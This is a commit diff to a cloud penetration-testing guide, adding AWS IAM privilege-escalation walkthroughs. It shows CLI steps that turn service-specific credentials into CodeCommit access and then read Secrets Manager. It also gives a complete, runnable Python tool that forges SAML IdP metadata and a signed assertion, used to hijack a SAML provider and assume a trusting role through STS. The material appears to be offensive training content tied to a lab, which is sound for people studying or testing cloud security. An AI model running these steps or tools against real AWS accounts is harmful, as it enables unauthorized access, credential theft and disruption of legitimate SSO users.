Skip to content

Commit 1829b6f

Browse files
committed
f
1 parent 967a945 commit 1829b6f

3 files changed

Lines changed: 413 additions & 14 deletions

File tree

  • src/pentesting-cloud

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md

Lines changed: 293 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -104,21 +104,51 @@ aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user
104104

105105
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
106106

107-
Enables generating or resetting credentials for specific AWS services (e.g., CodeCommit, Amazon Keyspaces), inheriting the permissions of the associated user.
107+
Enables generating or resetting credentials for specific AWS services (most commonly **CodeCommit**). These are **not** AWS API keys: they are **username/password** credentials for a specific service, and you can only use them where that service accepts them.
108108

109-
**Exploit for Creation:**
109+
**Creation:**
110110

111111
```bash
112-
aws iam create-service-specific-credential --user-name <username> --service-name <service>
112+
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
113113
```
114114

115-
**Exploit for Reset:**
115+
Save:
116+
117+
- `ServiceSpecificCredential.ServiceUserName`
118+
- `ServiceSpecificCredential.ServicePassword`
119+
120+
**Example:**
121+
122+
```bash
123+
# Find a repository you can access as the target
124+
aws codecommit list-repositories
125+
126+
export REPO_NAME="<repo_name>"
127+
export AWS_REGION="us-east-1" # adjust if needed
128+
129+
# Git URL (HTTPS)
130+
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"
131+
132+
# Clone and use the ServiceUserName/ServicePassword when prompted
133+
git clone "$CLONE_URL"
134+
cd "$REPO_NAME"
135+
```
136+
137+
> Note: The service password often contains characters like `+`, `/` and `=`. Using the interactive prompt is usually easiest. If you embed it into a URL, URL-encode it first.
138+
139+
At this point you can read whatever the target user can access in CodeCommit (e.g., a leaked credentials file). If you retrieve **AWS access keys** from the repo, configure a new AWS CLI profile with those keys and then access resources (for example, read a flag from Secrets Manager):
140+
141+
```bash
142+
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
143+
```
144+
145+
**Reset:**
116146

117147
```bash
118148
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
119149
```
120150

121-
**Impact:** Direct privilege escalation within the user's service permissions.
151+
**Impact:** Privilege escalation into the target user's permissions for the given service (and potentially beyond if you pivot using data retrieved from that service).
122152

123153
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
124154

@@ -273,8 +303,264 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
273303
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
274304
```
275305

276-
> [!NOTE]
277-
> TODO: A Tool capable of generating the SAML metadata and login with a specified role
306+
**End-to-end attack (like HackTricks Training IAM Lab 7):**
307+
308+
1. Enumerate the SAML provider and a role that trusts it:
309+
310+
```bash
311+
export AWS_REGION=${AWS_REGION:-us-east-1}
312+
313+
aws iam list-saml-providers
314+
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"
315+
316+
# Backup current metadata so you can restore it later:
317+
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json
318+
319+
# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
320+
aws iam list-roles | grep -i saml || true
321+
aws iam get-role --role-name "<ROLE_NAME>"
322+
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
323+
```
324+
325+
2. Forge IdP metadata + a signed SAML assertion for the role/provider pair:
326+
327+
```bash
328+
python3 -m venv /tmp/saml-federation-venv
329+
source /tmp/saml-federation-venv/bin/activate
330+
pip install lxml signxml
331+
332+
# Create /tmp/saml_forge.py from the expandable below first:
333+
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
334+
python3 - <<'PY'
335+
import json
336+
j=json.load(open("/tmp/saml-forge.json","r"))
337+
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
338+
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
339+
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
340+
PY
341+
```
342+
343+
<details>
344+
<summary>Expandable: <code>/tmp/saml_forge.py</code> helper (metadata + signed assertion)</summary>
345+
346+
```python
347+
#!/usr/bin/env python3
348+
from __future__ import annotations
349+
350+
import argparse
351+
import base64
352+
import datetime as dt
353+
import json
354+
import os
355+
import subprocess
356+
import tempfile
357+
import uuid
358+
359+
from lxml import etree
360+
from signxml import XMLSigner, methods
361+
362+
363+
def _run(cmd: list[str]) -> str:
364+
p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
365+
return p.stdout
366+
367+
368+
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]:
369+
key_path = os.path.join(tmpdir, "key.pem")
370+
cert_path = os.path.join(tmpdir, "cert.pem")
371+
_run(
372+
[
373+
"openssl",
374+
"req",
375+
"-x509",
376+
"-newkey",
377+
"rsa:2048",
378+
"-keyout",
379+
key_path,
380+
"-out",
381+
cert_path,
382+
"-days",
383+
"3650",
384+
"-nodes",
385+
"-subj",
386+
"/CN=attacker-idp",
387+
]
388+
)
389+
return key_path, cert_path
390+
391+
392+
def _pem_cert_to_b64(cert_pem: str) -> str:
393+
lines: list[str] = []
394+
for line in cert_pem.splitlines():
395+
if "BEGIN CERTIFICATE" in line or "END CERTIFICATE" in line:
396+
continue
397+
line = line.strip()
398+
if line:
399+
lines.append(line)
400+
return "".join(lines)
401+
402+
403+
def make_metadata_xml(cert_b64: str) -> str:
404+
return f"""<?xml version="1.0"?>
405+
<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker.invalid/idp">
406+
<IDPSSODescriptor protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
407+
<KeyDescriptor use="signing">
408+
<KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
409+
<X509Data>
410+
<X509Certificate>{cert_b64}</X509Certificate>
411+
</X509Data>
412+
</KeyInfo>
413+
</KeyDescriptor>
414+
<SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker.invalid/sso"/>
415+
</IDPSSODescriptor>
416+
</EntityDescriptor>
417+
"""
418+
419+
420+
def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes:
421+
ns = {
422+
"saml2p": "urn:oasis:names:tc:SAML:2.0:protocol",
423+
"saml2": "urn:oasis:names:tc:SAML:2.0:assertion",
424+
}
425+
426+
issue_instant = dt.datetime.now(dt.timezone.utc)
427+
not_before = issue_instant - dt.timedelta(minutes=2)
428+
not_on_or_after = issue_instant + dt.timedelta(minutes=10)
429+
430+
resp_id = "_" + str(uuid.uuid4())
431+
assertion_id = "_" + str(uuid.uuid4())
432+
433+
response = etree.Element(etree.QName(ns["saml2p"], "Response"), nsmap=ns)
434+
response.set("ID", resp_id)
435+
response.set("Version", "2.0")
436+
response.set("IssueInstant", issue_instant.isoformat())
437+
response.set("Destination", "https://signin.aws.amazon.com/saml")
438+
439+
issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer"))
440+
issuer.text = "https://attacker.invalid/idp"
441+
442+
status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status"))
443+
status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode"))
444+
status_code.set("Value", "urn:oasis:names:tc:SAML:2.0:status:Success")
445+
446+
assertion = etree.SubElement(response, etree.QName(ns["saml2"], "Assertion"))
447+
assertion.set("ID", assertion_id)
448+
assertion.set("Version", "2.0")
449+
assertion.set("IssueInstant", issue_instant.isoformat())
450+
451+
a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer"))
452+
a_issuer.text = "https://attacker.invalid/idp"
453+
454+
subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject"))
455+
name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID"))
456+
name_id.set("Format", "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified")
457+
name_id.text = "attacker"
458+
459+
subject_conf = etree.SubElement(subject, etree.QName(ns["saml2"], "SubjectConfirmation"))
460+
subject_conf.set("Method", "urn:oasis:names:tc:SAML:2.0:cm:bearer")
461+
subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns["saml2"], "SubjectConfirmationData"))
462+
subject_conf_data.set("NotOnOrAfter", not_on_or_after.isoformat())
463+
subject_conf_data.set("Recipient", "https://signin.aws.amazon.com/saml")
464+
465+
conditions = etree.SubElement(assertion, etree.QName(ns["saml2"], "Conditions"))
466+
conditions.set("NotBefore", not_before.isoformat())
467+
conditions.set("NotOnOrAfter", not_on_or_after.isoformat())
468+
469+
audience_restriction = etree.SubElement(conditions, etree.QName(ns["saml2"], "AudienceRestriction"))
470+
audience = etree.SubElement(audience_restriction, etree.QName(ns["saml2"], "Audience"))
471+
audience.text = "https://signin.aws.amazon.com/saml"
472+
473+
attr_stmt = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))
474+
475+
attr_role = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
476+
attr_role.set("Name", "https://aws.amazon.com/SAML/Attributes/Role")
477+
attr_role_value = etree.SubElement(attr_role, etree.QName(ns["saml2"], "AttributeValue"))
478+
attr_role_value.text = f"{role_arn},{principal_arn}"
479+
480+
attr_session = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
481+
attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName")
482+
attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue"))
483+
attr_session_value.text = "saml-session"
484+
485+
key_bytes = open(key_pem, "rb").read()
486+
cert_bytes = open(cert_pem, "rb").read()
487+
488+
signer = XMLSigner(
489+
method=methods.enveloped,
490+
signature_algorithm="rsa-sha256",
491+
digest_algorithm="sha256",
492+
c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#",
493+
)
494+
signed_assertion = signer.sign(
495+
assertion,
496+
key=key_bytes,
497+
cert=cert_bytes,
498+
reference_uri=f"#{assertion_id}",
499+
id_attribute="ID",
500+
)
501+
502+
response.remove(assertion)
503+
response.append(signed_assertion)
504+
505+
return etree.tostring(response, xml_declaration=True, encoding="utf-8")
506+
507+
508+
def main() -> None:
509+
ap = argparse.ArgumentParser()
510+
ap.add_argument("--role-arn", required=True)
511+
ap.add_argument("--principal-arn", required=True)
512+
args = ap.parse_args()
513+
514+
with tempfile.TemporaryDirectory() as tmp:
515+
key_path, cert_path = _openssl_make_key_and_cert(tmp)
516+
cert_pem = open(cert_path, "r", encoding="utf-8").read()
517+
cert_b64 = _pem_cert_to_b64(cert_pem)
518+
519+
metadata_xml = make_metadata_xml(cert_b64)
520+
saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path)
521+
saml_b64 = base64.b64encode(saml_xml).decode("ascii")
522+
523+
print(json.dumps({"metadata_xml": metadata_xml, "assertion_b64": saml_b64}))
524+
525+
526+
if __name__ == "__main__":
527+
main()
528+
```
529+
530+
</details>
531+
532+
3. Update the SAML provider metadata to your IdP certificate, assume the role, and use the returned STS credentials:
533+
534+
```bash
535+
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
536+
--saml-metadata-document file:///tmp/saml-metadata.xml
537+
538+
# Assertion is base64 and can be long. Keep it on one line:
539+
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
540+
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
541+
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
542+
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
543+
echo "Session expires at: $SESSION_EXP"
544+
545+
# Use creds inline (no need to create an AWS CLI profile):
546+
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
547+
aws sts get-caller-identity
548+
```
549+
550+
4. Cleanup: restore previous metadata:
551+
552+
```bash
553+
python3 - <<'PY'
554+
import json
555+
j=json.load(open("/tmp/saml-provider-backup.json","r"))
556+
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
557+
PY
558+
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
559+
--saml-metadata-document file:///tmp/saml-metadata-original.xml
560+
```
561+
562+
> [!WARNING]
563+
> Updating SAML provider metadata is disruptive: while your metadata is in place, legitimate SSO users might not be able to authenticate.
278564
279565
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
280566

@@ -329,5 +615,3 @@ aws iam put-role-permissions-boundary \
329615
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
330616

331617
{{#include ../../../../banners/hacktricks-training.md}}
332-
333-

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -68,7 +68,7 @@ An example of a trust policy with this permission is:
6868
To generate credentials to impersonate the role in general you could use something like:
6969

7070
```bash
71-
aws sts assume-role-with-saml --role-arn <value> --principal-arn <value>
71+
aws sts assume-role-with-saml --role-arn <role_arn> --principal-arn <provider_arn> --saml-assertion <base64_saml_response>
7272
```
7373

7474
But **providers** might have their **own tools** to make this easier, like [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role):
@@ -152,4 +152,3 @@ For this attack to be possible, both the trust anchor and the `default` profile
152152
{{#include ../../../../banners/hacktricks-training.md}}
153153

154154

155-

0 commit comments

Comments
 (0)